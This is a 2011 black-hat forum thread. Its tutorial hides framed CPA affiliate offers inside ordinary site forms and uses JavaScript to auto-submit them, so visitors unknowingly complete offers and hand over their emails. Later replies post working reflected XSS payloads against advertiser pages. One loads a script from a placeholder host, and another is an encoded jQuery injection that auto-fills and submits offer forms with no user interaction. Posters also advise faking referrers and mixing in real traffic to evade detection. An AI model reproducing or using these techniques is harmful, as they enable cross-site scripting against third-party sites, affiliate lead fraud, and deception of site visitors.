1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[TUTORIAL] Integrate CPA Frames in Regular Form

Discussion in 'Black Hat SEO Tools' started by artizhay, Feb 2, 2011.

  1. artizhay

    artizhay BANNED BANNED

    Joined:
    Nov 21, 2010
    Messages:
    1,867
    Likes Received:
    1,335
    I don't think this has been posted and I think this can be quite helpful to some people. It is extremely simple but very useful.

    The Idea - AKA, a probably much too long explanation
    An idea I had was that I wanted to integrate a framed e-mail submit into a regular form, rather than a content locker. You know, like a regular registration form.

    This can allow you:
    -Make tons of money with CPA if you have a site with decent traffic that has any type of form in place.
    -Harvest e-mails and complete a CPA offer in ONE step.
    -Make money instantly off of every e-mail newsletter signup.
    and whatever else you can think of!

    You can view a demo here: http://www.artizhay.com/form-trick (there are no CPA or e-mail inputs there; it shows the general concept)

    The problem I initially thought I had was that I'd have to ask the user to click submit twice, once for the CPA and once for my actual form. Then I thought, well maybe I could get the CPA frame to submit once the user submits my form. However, current Web rules prohibit control over another website through frames, code, etc. But then I realized, all I really needed to do was submit my form once the CPA offer was submitted.

    Implementation methods, if you haven't thought of any yet, are basic yet potentially very profitable. First of all, the submit button for the e-mail submit acts as your form's submit. When the user clicks "submit" on the CPA form, they think they're submitting your form. And technically, they are, because with a simple code, when the CPA is submitted, so is your form.

    A way you can add this to any existing form is by asking the user to enter their e-mail twice for confirmation. Your CPA offer must always be at the bottom of the form, because the submit button has to go there and no form has input values below the submit button...duh.

    The Method, Code, Tutorial, Whatever
    So if you didn't view the demo already, the way this works is by following the same principle used for the custom gateway scripts around here. That is:
    When a page is added to the browser's history, perform an action - for gateways, this action is dropping the gateway.

    So to start, frame your offer. If you don't use GODcpa already or don't know how to frame an offer, check out this thread:
    http://www.blackhatworld.com/blackhat-seo/black-hat-seo-tools/224283-free-content-gateway-geotarget-rotate-offers-session-cookies-instructions.html
    That thread is for a content gateway, but it also covers framing, so it would be pointless to explain framing here.
    Or just download GODcpa. It's what I use and it's simple.

    Here we go:

    Step 1. Frame your offer. Only frame the e-mail box and the submit button.
    Step 2. Add your offer into an existing form or make a new form. I'm going to assume you know how to make a form. For this tutorial, I'm using some bare bones HTML.
    Your CPA iframe code should be very simple, something like this:
    Code:
    <iframe src="[color=yellow]YOUR-SUPER-COOL-OFFER-HERE[/color]"></iframe>
    It will probably have some other attributes to make sure the offer is framed correctly. Drop the offer into the bottom of the form like so.
    Code:
    <html>
    <body>
    <form name="[color=blue]testForm[/color]" action="[color=red]page2.php[/color]" method="post">
    Name: <input type="text" name="name"><br>
    E-mail: <input type="text" name="email"><br>
    <iframe src="[color=yellow]YOUR-SUPER-COOL-OFFER-HERE[/color]"></iframe>
    </form>
    </body>
    </html>
    The blue text needs to be changed to ANY form name you want or already have. The red text is, of course, the page that is going to process your form's data. And the yellow text would need to be changed to your CPA framed page.

    Step 3. Add some javascript to submit the form. Here is my whole code.
    Code:
    <script type="text/javascript">
    var oldHistory = history.length;
    setInterval("checkHistory()", 1000);
    
    function checkHistory() {
    	if (oldHistory < history.length) {
    		document.[color=blue]testForm[/color].submit();
    	}
    }
    </script>
    Let's cover this code to see what it does:
    var oldHistory = history.length; - this sets a variable that stores the length (page count) of your browser's history once the page had loaded.
    setInterval("checkHistory()", 1000); - this tells the script to run the function checkHistory() every 1 second or 1000 milliseconds.
    function checkHistory() { - begins a function.
    if (oldHistory < history.length) { - if the variable oldHistory has a number that is less than the current history length, perform an action.
    document.testForm.submit(); - this submits your form; you must change the blue text to your form's name.

    You drop that code into the <head> of your document like so.
    Code:
    <html>
    <head>
    <script type="text/javascript">
    var oldHistory = history.length;
    setInterval("checkHistory()", 1000);
    
    function checkHistory() {
    	if (oldHistory < history.length) {
    		document.[color=blue]testForm[/color].submit();
    	}
    }
    </script>
    </head>
    <body>
    <form name="[color=blue]testForm[/color]" action="[color=red]page2.php[/color]" method="post">
    Name: <input type="text" name="name"><br>
    E-mail: <input type="text" name="email"><br>
    <iframe src="[color=yellow]YOUR-SUPER-COOL-OFFER-HERE[/color]"></iframe>
    </form>
    </body>
    </html>
    Now when a user submits the CPA offer, the iframe moves to the second page of the CPA offer, but the history length is now longer than it was when the page loaded, so the javascript submits the form.

    After submitting the form, you would have a page that processes the data. You can store the e-mail in a database, or do whatever else you need to do with it. I'm assuming you already know what to do with the data.

    Tips, Ideas, Rambling
    First, I would like to say that if you are already using the GODcpa method of harvesting an e-mail after your CPA has been filled out, you need to switch to this method. A user would much rather their e-mail twice at the same time rather than after submitting the CPA offer and finding out they need to enter an e-mail again.

    I take my framing very seriously. I like it to look seamless and professional for maximum conversions. So take some time to make sure your e-mail input (on your form, not the CPA e-mail input) matches the size of the CPA input. If the CPA input is longer than your e-mail input, change your input. If it's shorter, change your input. You can do so like:
    Code:
    <input type="text" name="email" style="width:[color=blue]20[/color]px;">
    and change the blue text to the width in pixels. Play around till you get it right.

    Also, if the CPA input is styled differently than all of your input boxes, restyle your inputs to match. The idea is to keep everything very low-profile. The human eye is naturally attracted to imperfections. If your CPA input does not match your regular inputs, it's like having every wall of your house a different clashing color. It makes you go "wtf." Learn some CSS to do this if you don't know how.

    Don't put all your eggs in one basket. Anyone here will tell you that. I like to rotate my offers between different advertisers and CPA networks. I do so by storing tons of data in a PHP array. If you know a little PHP, here's a basic array of mine.
    PHP:
    $offers = array(
                    
    => array(
                            
    "file" => "offers/1.php",
                            
    "background" => "#589753",
                            
    "text" => "#989320",
                            
    "width" => "233",
                            
    "frameHeight" => "30",
                            
    "historyOffset" => "1",
                            
    "network" => "Lala Network"
                        
    ),
                    
    => array(
                            
    "file" => "offers/2.php",
                            
    "background" => "#534443",
                            
    "text" => "#089948",
                            
    "width" => "400",
                            
    "frameHeight" => "60",
                            
    "historyOffset" => "0",
                            
    "network" => "Grr Network"
                        
    )
                    );
    I rotate them by using the code:
    PHP:
    $id array_rand($offers);
    $file $offers[$id]["file"];
    and continue on with the variables after $file. Then I use the variables on my page to make the offer seamless by matching backgrounds with the offer, using suitable text colors, etc. However, I use this for content gateways, but for the above method, you really only need the width of the text box. If your CPA offers have a border around the input, you could also store the border color to change yours on the fly.

    So after compiling an array, choosing a random id, and setting your variables, you'll have variables called "width" and "file" (or "url") or something that you choose. So then, going back to our code earlier to rotate your offer and change your text box width
    Code:
    <input type="text" name="email" style="width:[color=blue]<?=$width;?>[/color]px;"><br>
    <iframe src="[color=yellow]<?=$file;?>[/color]"></iframe>
    Now your iframe source (CPA offer) will be whatever you stored in the array as your offer's filename or URL, and your text box will be the width of your variable $width, which should be equal to the width you stored in your array for that particular offer.

    Let me know your thoughts and if you find this useful. ;)
     
    • Thanks Thanks x 13
    Last edited: Feb 2, 2011
  2. newyorkpride

    newyorkpride Jr. VIP Jr. VIP Premium Member

    Joined:
    Feb 26, 2008
    Messages:
    156
    Likes Received:
    59
    I don't need this exact script, but this definitely gave me some ideas for some scripts :)
     
  3. DigitalGangster

    DigitalGangster Regular Member

    Joined:
    Jun 24, 2010
    Messages:
    387
    Likes Received:
    230
    Now if you want to take it to the next level , then you can do the following This is just an example and its for educational purposes. hehe! So when you iframe your offer you can also do this Instead of putting a javascript code on your page that auto submits your cpa offer from the iframed page, why not insert javascript directly into the cpa offer itself. How? simple a very easy to use xss exploit I took this offer from offervault, insert it a simple javascript code that autosubmits the form, obviously you can add


    http://highqualityinsurance.com/auto-insurance/v1.php?AFID={affiliate_id}&HID=146487069"><SCRIPT SRC=http://yourwebsite.com/javascript.js></SCRIPT>

    replace http://yourwebsite.com/javascript.js with any javascript code of your choce
    Now in the javascript you can put whatever you want so if you want you can put a remote javascript code that autosubmits the offers with an email of your choice and since that offer converts on first page, lol u get the idea. The beauty about that is that you dont need to wait for the user to insert his email, that iframe will load upon your visitors visiting your site, and since you put xss on that advertiser page you could insert your javascript code remotely in order to have like a cpa filler right on your page for every visitor that visits your page. Now thats thinking outside the box for you.
     
    • Thanks Thanks x 2
    Last edited: Feb 14, 2011
  4. artizhay

    artizhay BANNED BANNED

    Joined:
    Nov 21, 2010
    Messages:
    1,867
    Likes Received:
    1,335
    Definitely a great idea. I was unable to get an external JS to have any effect on my CPA offers for some reason, so I embedded jQuery and javascript in the URL by appending:

    Code:
    "><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{document.forms[0].email.value="email@email.com";document.forms[0].submit();});</script>
    It takes a few minutes of work to find exploitable CPA offers but I think it will be very much well-worth it.
     
  5. Lordstriker

    Lordstriker Regular Member

    Joined:
    Jan 2, 2010
    Messages:
    220
    Likes Received:
    50
    Where can i find simple email submits that will work with this?

    Great tut btw!
     
    • Thanks Thanks x 1
  6. artizhay

    artizhay BANNED BANNED

    Joined:
    Nov 21, 2010
    Messages:
    1,867
    Likes Received:
    1,335
    FluxAds and PeerFly have lots of e-mail submits. I hear Market Leverage does as well, but I wouldn't know. You can also check on Offer Vault. =] Thanks.
     
  7. RobBanks

    RobBanks Junior Member

    Joined:
    May 14, 2010
    Messages:
    165
    Likes Received:
    42
    Location:
    in the mountains
    check out ******* they have a ton of very good paying e-mail and zip submits. also wolf storm media and maxbounty as well
     
  8. artizhay

    artizhay BANNED BANNED

    Joined:
    Nov 21, 2010
    Messages:
    1,867
    Likes Received:
    1,335
    A friend of mine from here and I actually tested out CPA Path for their pre-pop e-mail submits and it didn't go very well. I only pushed a few "leads" there to test it out, but I got no credit. My friend only got 17% credit for the leads he gave. Of course, maybe they are better with their non-pre-pops, but I decided to not use them and instead developed my http://www.blackhatworld.com/blackhat-seo/black-hat-seo-tools/280146-tutorial-auto-fill-submit-cpa-forms.html.
     
  9. RobBanks

    RobBanks Junior Member

    Joined:
    May 14, 2010
    Messages:
    165
    Likes Received:
    42
    Location:
    in the mountains
    hey man thanks for the heads up. i havent sent them too many leads either i just know i saw a ton of e-mail submits on their list. do you think u could highlight the disadvantages of the pre pops and non pre pops relating to when your iframing offers?
     
  10. f0rked

    f0rked Registered Member

    Joined:
    Jan 25, 2009
    Messages:
    71
    Likes Received:
    64
    It comes down to convenience. If you can pre-populate the form with their email address, you save them time. They're more likely to just click submit to get to your content(if you're locking it with a iframed offer). However, using the method in cpa auto-submit exploit thread, you remove all user interaction. The form is filled, and submitted without the user even knowing they just submitted something.


     
    • Thanks Thanks x 1
  11. Lex Luthor

    Lex Luthor Registered Member

    Joined:
    Jan 27, 2011
    Messages:
    88
    Likes Received:
    28
    Whats the risk of getting banned doing something like this. Should it be mixed in with quality traffic and if so, whats a good percentage for these types leads compared to normally driven leads?
     
  12. eniviD

    eniviD Junior Member

    Joined:
    Dec 9, 2009
    Messages:
    115
    Likes Received:
    9
    I'd say there's almost no chance of being banned if you do this correctly.
    I would definently mix this with quality, legit traffic if your trying to do this on a large scale, but on a small scale, you could probably make a lot of $ with this before receiving any consequences
     
  13. f0rked

    f0rked Registered Member

    Joined:
    Jan 25, 2009
    Messages:
    71
    Likes Received:
    64
    If you're smart about it, there is almost no risk of getting banned. Obviously you'll want to blank/fake the referrer, and mix in quality leads. As for the the percentage, that's entirely dependent upon the quality of your leads, and the network you're running with. I've done this for awhile now and send way more iframed traffic than I do quality, and haven't received a single complaint from any networks in the past. Again, this is all dependent upon your network, and the advertisers they use.
     
  14. artizhay

    artizhay BANNED BANNED

    Joined:
    Nov 21, 2010
    Messages:
    1,867
    Likes Received:
    1,335
    Honestly, pre-pops would always trump non-pre-pops if they were a viable alternative to standard CPA forms. However, not many networks have pre-pops, and when they do, it's usually about 1 per network.

    When you frame the pre-pop form, you have to frame the e-mail input and the submit button. If you only frame the submit button, it won't work. The pre-pop will fill in the e-mail input, so the focus shifts to that box even if you framed the submit button. Your user just sees some random e-mail and goes "wtf is this?"

    What you have to do is measure the e-mail input (be it in Photoshop or however you like to get exact pixel dimensions) and then create a block div that is the same color as your background to cover the input box. So the user only sees the submit button. But then, if you want to say, center the submit button under a form, you have to set a negative left margin for your whole iframe equal to the width of the input box divided by 2. Otherwise your submit button will be off to one side or the other (assuming the submit button is inline with the input box and not under it, in which case it wouldn't require any margin).

    So it's kind of annoying and complicated. And so for the work involved (including applying to networks and setting up all the proper position, styling, and integration - plus rinsing and repeating for each offer), I'd rather just auto-submit the form like in my other thread.
     
  15. simplyblue

    simplyblue Junior Member

    Joined:
    May 11, 2009
    Messages:
    195
    Likes Received:
    470
    Great content, thanks for putting this together and starting the chat of something way more bhers should be improving their skills on.
     
  16. DigitalGangster

    DigitalGangster Regular Member

    Joined:
    Jun 24, 2010
    Messages:
    387
    Likes Received:
    230
    You know you can take that off, i only use <script> not the extra stuff. I also recommend to not use quotes on the part where you include the src otherwise it wont work.
    %20type="text/javascript">

    look at my original post and you will see i dont use post in the src part, thats the difference of working and not working.
     
  17. $ThisIsTheLife$

    $ThisIsTheLife$ BANNED BANNED

    Joined:
    Feb 13, 2011
    Messages:
    252
    Likes Received:
    39
    Thanks Buddy I appreciate the great thread

    Keep it up
     
  18. $ThisIsTheLife$

    $ThisIsTheLife$ BANNED BANNED

    Joined:
    Feb 13, 2011
    Messages:
    252
    Likes Received:
    39
    Unfortunately the iframe loads up uneven

    Not sure what the offer name exactly however it starts with DuckD

    I'm referring to your link to the iframed form
     
  19. artizhay

    artizhay BANNED BANNED

    Joined:
    Nov 21, 2010
    Messages:
    1,867
    Likes Received:
    1,335
    That's just an example, not a framed offer. It's not supposed to be positioned in any particular way. It's actually a search engine. I'm just showing that if you search for something on that site and hit enter, it will submit my form (your name), and show it on the page that loads.
     
  20. $ThisIsTheLife$

    $ThisIsTheLife$ BANNED BANNED

    Joined:
    Feb 13, 2011
    Messages:
    252
    Likes Received:
    39
    Good job buddy it make sense now

    Thanks
     
    • Thanks Thanks x 1